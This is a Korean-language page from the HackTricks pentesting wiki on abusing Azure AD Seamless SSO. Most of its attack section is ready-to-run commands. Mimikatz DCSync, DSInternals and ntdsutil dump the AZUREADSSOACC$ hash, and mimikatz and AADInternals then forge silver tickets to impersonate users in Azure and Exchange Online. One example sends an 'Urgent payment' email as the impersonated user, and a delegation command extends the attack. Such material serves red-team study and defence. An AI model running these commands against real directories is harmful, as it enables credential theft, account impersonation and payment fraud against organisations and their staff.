Az - Seamless SSO

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

기본 정보

문서에서: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO)은 자동으로 사용자를 회사 장치에 연결된 경우에 로그인시킵니다. 활성화되면 사용자는 Azure AD에 로그인할 때 비밀번호를 입력할 필요가 없으며, 대개 심지어 사용자 이름도 입력하지 않아도 됩니다. 이 기능을 통해 사용자들은 온프레미스 구성 요소가 필요하지 않고 클라우드 기반 애플리케이션에 쉽게 액세스할 수 있습니다.

기본적으로 Azure AD Seamless SSO는 온프레미스 도메인 가입 PC에서 사용자를 로그인시킵니다.

PHS (Password Hash Sync)PTA (Pass-through Authentication)에서 지원됩니다.

데스크톱 SSO는 인증을 위해 Kerberos를 사용합니다. 구성된 경우, Azure AD Connect는 온프레미스 AD에 **AZUREADSSOACC$**라는 컴퓨터 계정을 만듭니다. AZUREADSSOACC$ 계정의 암호는 구성 중에 평문으로 Azure AD로 전송됩니다.

Kerberos 티켓은 암호의 **NTHash (MD4)**를 사용하여 암호화되며 Azure AD는 전송된 암호를 사용하여 티켓을 해독합니다.

Azure AD는 Kerberos 티켓을 수락하는 엔드포인트(https://autologon.microsoftazuread-sso.com)를 노출합니다. 도메인 가입된 기기의 브라우저는 SSO를 위해 이 엔드포인트로 티켓을 전달합니다.

온프레미스 -> 클라우드

사용자 AZUREADSSOACC$의 암호는 절대 변경되지 않습니다. 따라서 도메인 관리자는 이 계정의 해시를 손상시키고 이를 사용하여 실버 티켓을 생성하여 어떤 온프레미스 사용자와도 Azure에 연결할 수 있습니다:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

해시를 사용하여 이제 실버 티켓을 생성할 수 있습니다:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
  1. 브라우저 시작: Mozilla Firefox를 실행합니다.

  2. 브라우저 구성:

    • **about:config**로 이동합니다.

    • network.negotiate-auth.trusted-uris에 대한 설정을 다음 으로 설정합니다:

      • https://aadg.windows.net.nsatc.net

      • https://autologon.microsoftazuread-sso.com

  3. 웹 응용프로그램 접속:

    • 조직의 AAD 도메인과 통합된 웹 응용프로그램에 방문합니다. 일반적인 예는 Office 365입니다.

  4. 인증 프로세스:

    • 로그온 화면에서 사용자 이름을 입력하고 비밀번호 필드는 비워 둡니다.

    • 계속하려면 TAB 또는 ENTER 키를 누릅니다.

이는 MFA가 활성화된 경우 MFA를 우회하지 않습니다.

클라우드 전용 사용자를 위한 케르버스 티켓 생성

만약 Active Directory 관리자가 Azure AD Connect에 액세스할 수 있다면, 클라우드 사용자에 대한 SID를 설정할 수 있습니다. 이렇게 하면 클라우드 전용 사용자에 대한 케르버스 티켓을 생성할 수 있습니다. 유일한 요구 사항은 SID가 적절한 SID 여야 합니다.

클라우드 전용 관리자 사용자의 SID 변경은 현재 Microsoft에 의해 차단되었습니다. 자세한 정보는 https://aadinternals.com/post/on-prem_admin/을 확인하세요.

온프렘 -> 클라우드 리소스 기반 제약 위임을 통한 접속

이 계정이 속한 컨테이너 또는 OU에서 컴퓨터 계정(AZUREADSSOACC$)을 관리할 수 있는 사용자는 해당 계정에 대해 리소스 기반 제약 위임을 구성하고 액세스할 수 있습니다.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로에서 영웅까지 AWS 해킹 배우기**

HackTricks를 지원하는 다른 방법:

最終更新